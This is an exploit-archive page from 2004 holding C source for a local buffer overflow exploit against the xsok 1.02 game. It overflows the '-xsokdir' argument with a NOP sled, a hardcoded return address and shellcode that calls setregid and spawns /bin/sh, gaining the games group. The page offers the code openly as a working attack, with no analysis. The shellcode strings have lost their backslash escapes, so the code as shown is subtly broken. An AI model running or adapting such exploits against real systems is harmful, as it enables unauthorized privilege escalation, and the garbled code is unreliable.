[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Xsok v1.02 "-xsokdir" local buffer overflow game exploit
# Published : 2004-01-02
# Author : c0wboy
# Previous Title : Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)
# Next Title : OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic() Kernel Exploit


/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"x31xc0x31xdbx31xc9xb3x14xb1x14xb0x47"
	"xcdx80"

	/* exec /bin/sh shellcode */
	"x31xd2x52x68x6ex2fx73x68x68x2fx2fx62"
	"x69x89xe3x52x53x89xe1x8dx42x0bxcdx80";


	
int main (int argc, char ** argv)
{
	int i, ret = RETADD;
	char out[SIZE];

	fprintf(stdout, "n ---   0x333xsok => xsok 1.02 local games exploit   ---n");
	fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---nn");

	int *xsok = (int *)(out);

	for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

	memset((char *)out, 0x90, 63);
	memcpy((char *)out+63, shellcode, strlen(shellcode));

	execl (BIN, BIN, "-xsokdir", out, 0x0);
}

// www.Syue.com [2004-01-02]